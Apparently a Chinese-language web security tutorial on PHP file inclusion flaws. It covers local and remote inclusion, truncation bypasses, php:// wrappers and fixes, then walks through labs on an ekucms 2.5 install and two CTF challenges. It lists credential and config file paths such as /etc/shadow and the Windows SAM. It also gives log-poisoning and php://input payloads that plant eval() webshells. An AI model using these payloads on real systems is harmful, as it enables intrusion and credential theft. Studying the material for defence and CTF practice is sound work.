
涉及知识
原理,检测,类型,利用,修复等
文件包含漏洞原理
文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,这样就会导致文件包含漏洞
和之前漏洞一样,该漏洞产生也包含着以下两个要素
- 可控变量,如下面例子中的
filename参数值 - 敏感函数,如
include()
**利用:**一般地,文件上传通常会限制上传文件类型,访问上传的文件一旦后缀被过滤,就不能作为脚本文件触发执行,但是借助文件包含漏洞就能将非脚本文件的内容包含进来作为脚本文件执行。
文件包含漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
1 |
|
例如:
$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。
文件包含函数
PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
各个脚本文件包含代码
1 | ASP,PHP,JSP,ASPX等 |
文件包含漏洞类型
其文件包含漏洞共分为两大类,本地文件包含和远程文件包含,但是如果想要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。本地文件包含的含义就是包含本地服务器的文件
本地包含
无限制本地包含
测试代码
1 |
|
测试结果
通过目录遍历漏洞可以获取到系统中其他文件的内容:

常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
有限制本地包含
测试代码
1 |
|
测试结果
可见由于拼接.html限制了包含文件的后缀,当前目录下并不存在1.txt.html

有限制本地包含绕过
%00截断
条件:
- magic_quotes_gpc = Off
- PHP版本 < 5.3.4
写法:filename = ../…/../www.txt%00
绕过结果:

长度截断
条件:其原理类似文件上传绕过时所讲的点绕过
- Windows,点号需要长于256,因为Windows限制文件名长度为256
- Linux,点号需要长于4096,因为Linux限制文件名长度为4096
写法:
1 | http://localhost/test/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. |
绕过结果:


远程包含——危害更大
如果想要实现远程文件包含,需要php.ini开启allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。

无限制远程包含
虚拟机的www目录下新建一个文件,名为readme.txt,内容为输出HelloWorld

在本机访问下面的文件包含代码访问
测试代码
1 |
|
测试结果
可以执行远程文件中的代码,将远程文件中内容作为PHP代码执行

有限制远程包含
测试代码
1 |
|
测试结果
可见由于拼接.html限制了包含文件的后缀,无法访问到远程地址中的readme.txt.html

有限制远程包含绕过
1 | %20截断 |
另外参考文件上传绕过所使用的的截断方式
文件包含漏洞检测
白盒
代码审计
黑盒
漏扫工具
公开漏洞
手工看参数值及功能点
文件包含结合PHP各种伪协议
**php伪协议参考文章:**https://www.cnblogs.com/endust/p/11804767.html
各类语言对伪协议的支持情况如下:

PHP伪协议:

文件包含漏洞修复
固定后缀:固定或限制被包含的文件类型,可以绕过
1
2
3
4
$filename = $_GET['filename'];
include($filename.".html");//限制文件的后缀固定文件:直接将被包含的文件写死,不让访问者来控制要包含的文件名
1
2
3
include('1.txt'); //被包含文件固定写死,不让访问者控制WAF产品
演示案例
本地文件包含代码测试——原理
使用如下代码演示文件包含,GET方式提交的参数filename的值会决定被包含的文件
1 |
|
在同一目录下创建1.txt文件,内容如下
1 | <?php |
访问文件包含代码的页面,GET方式提交filename值为1.txt,可见结果为phpinfo()函数的结果,即文件包含就会将被包含文件的内容按照PHP格式来解析

而如果直接访问1.txt文件则并不会将txt文件解析为PHP,而是按照txt文件来解析

远程文件包含代码测试——原理
远程文件包含就会将被包含的远程文件的内容按照PHP格式来解析,如果远程文件写的是一段后门代码,则目标主机就会执行该后门代码,使用后门工具进行连接可以获取Webshell
虚拟机中远程文件readme.txt中书写一句话后门代码

本地访问文件包含的PHP文件,提交被包含的文件名为远程文件readme.txt,使用后门工具连接可以触发后门代码


各种协议流提交流测试——伪协议
php://filter读取文件源码用法
1 | php://filter/read=convert.base64-encode/resource=[文件名] |
读取1.txt文件源码

得到base64加密后的源码(为避免直接输出源码时显示乱码,特意使用base64加密)
解密后得到源码

php://input + [POST DATA]执行php代码用法
1 | http://127.0.0.1/include.php?file=php://input |
执行<?php phpinfo(); ?>代码

php://input + [POST DATA]写入一句话木马用法
1 | http://127.0.0.1/include.php?file=php://input |
使用该伪协议写入一个shell.php后门文件

某CMS程序文件包含利用-黑盒(ekucms)
程序文件:https://pan.baidu.com/s/1x_mwVF--xxmoKAvDJ8mRsw 提取码: xiao
下载上述文件解压后在本地搭建,搭建成功如下图所示

黑盒测试,已知CMS指纹,尝试搜索相关漏洞:ekucms 漏洞。发现ekucms 2.5存在本地文件包含漏洞,参考文章:https://www.cnblogs.com/csnd/p/11807743.html
不能进行远程文件包含,只能进行本地文件包含,本地文件包含有如下两种思路
- 上传自定义文件,再包含上传文件触发本地文件包含漏洞
- 没有上传入口,只能向已有文件中写入攻击代码,再包含写入攻击代码后的已有文件
本CMS漏洞利用方式是后者
该CMS2.5版本存在本地文件包含漏洞。我们可以利用这个漏洞,让其包含日志文件,然后再利用报错信息将一句话木马写入日志中。然后利用文件包含漏洞包含该日志文件,再用菜刀连接拿shell。
渗透之前的操作,比如先用后台扫描工具,扫描得到该网站的后台目录结构,才更好的进行后面的操作。
我们通过访问该url,将一句话木马写入日志文件中,不必写php前后尖括号,因为文件包含会自动将文件内容作为php文件来执行
1 | http://localhost/pentest/include/ekucms/index.php?s=my/show/id/{~eval($_POST[x])} |
网页返回报错信息

报错信息会记录在ekucms\temp\Logs下的文件中,在日志文件中可以看到刚才提交的后门代码已经写入日志文件,日志文件名为年_月_日.log

使用下面的url将日志文件包含进来,并触发文件包含漏洞
1 | http://localhost/pentest/include/ekucms/index.php?s=my/show/id/\..\temp\logs\22_03_13.log |
使用菜刀访问上述url触发文件包含漏洞并获取Webshell


或直接在浏览器中提交POST参数值

CTF-南邮大,i春秋百度杯真题-白盒——手工看参数值及功能点
南邮杯
题目位置:http://4.chinalover.sinaapp.com/web7/index.php
作为一道CTF题目,先观察URL可知,似乎意在考查文件包含
进入后显示为index.php

点击后显示为index.php?file=show.php

直接访问show.php和index.php?file=show.php结果相同,这说明是将show.php文件包含执行

因此可以使用PHP伪协议测试是否存在文件包含漏洞
使用php://input + [POST DATA]执行php代码
执行系统命令
1 | url:index.php?php://input |
无法执行系统命令,可见存在对提交数据的过滤机制

使用php://filter/read=convert.base64-encode/resource=[文件名]进行文件读取查看源码,可见php://filter伪协议可以成功执行

base解码得到源码如下,index.php源码中存在flag
1 | <html> |
而show.php中没有flag

i春秋——“百度杯”CTF比赛 2017 二月场
题目地址:https://www.ichunqiu.com/battalion?t=1&r=O 注册登录后选择Web类题目 题目名称为:50px include,创建项目后访问提示地址

读所给的php代码可知其含义为:如果该页面接收REQUEST方式的参数传递,则包含该参数值作为包含文件的路径,如果该页面未接收REQUEST传递参数值,则包含phpinifo.php文件
即REQUEST方式传递的参数值,就是本页面要包含的文件路径,否则默认包含phpinfo.php文件,使用PHP伪协议进行文件包含(无论是post还是get方式提交都可以用$_REQUEST
用$_REQUEST[‘参数名称’]获取值)
使用php:input伪协议传递参数进行代码执行,执行ls命令成功
1 | url:?path=php://input |

使用php:filter伪协议进行文件读取,并做base64解密
url: ?path=php://filter/read=convert.base64-encode/resource=[文件名]
得到index.php文件内容如下
1 |
|
得到dle345aae.php文件内容如下,拿到flag
1 |
|
涉及资源
爱春秋百度杯CTF:https://www.ichunqiu.com/battalion?t=1&r=O
南邮杯CTF:http://4.chinalover.sinaapp.com/web7/index.php
php伪协议:https://www.cnblogs.com/endust/p/11804767.html
https://pan.baidu.com/s/1x_mwVF--xxmoKAvDJ8mRsw 提取码: xiao
1 |
|